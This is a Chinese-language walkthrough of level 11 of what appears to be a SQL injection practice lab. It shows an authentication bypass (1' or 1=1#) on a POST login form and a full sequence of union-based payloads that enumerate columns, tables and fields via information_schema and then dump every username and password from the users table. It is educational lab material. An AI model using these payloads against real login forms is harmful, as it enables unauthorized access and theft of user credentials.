进入页面有一个登录窗口。第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入的,你想想啊,它动态的页面,通过post传递值,然后再将post的值写到sql语句中。
随便在登录框中输入值,用burp suite抓包
发现是POST请求
尝试利用sql注入
判断注入类型
可以判断出是单引号字符型注入
由报错信息可知,--+没有发挥作用,尝试用其他注释符:#
没有报错,可以判断#是有用的
尝试使用万能登录 1' or 1=1#
登陆成功!!!!!!
打开index.php
查看sql语句
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
输入1' or 1=1#
SELECT username, password FROM users WHERE username='1' or 1=1
因为1=1为永真式,与前面的or结合,where后语句直接为真。变为
SELECT username, password FROM users
利用sql注入拿到数据库信息
判断所在数据库中表的字段数
输入username=1' or '1'='1 password=1' order by 3#
username=1' or '1'='1 password=1' order by 2#
可以判断出字段数为2
uname=1' or '1'='1&passwd=1' union select 1,2#&submit=Submit
判断显示位置
uname=1' or '1'='1&passwd=1' union select database(),user()#&submit=Submit
uname=1' or '1'='1&passwd=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#&submit=Submit
uname=1' or '1'='1&passwd=1'union select (select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),2#&submit=Submit
uname=1' or '1'='1&passwd=1'union select group_concat(username),group_concat(password) from security.users#&submit=Submit
得到数据!!!!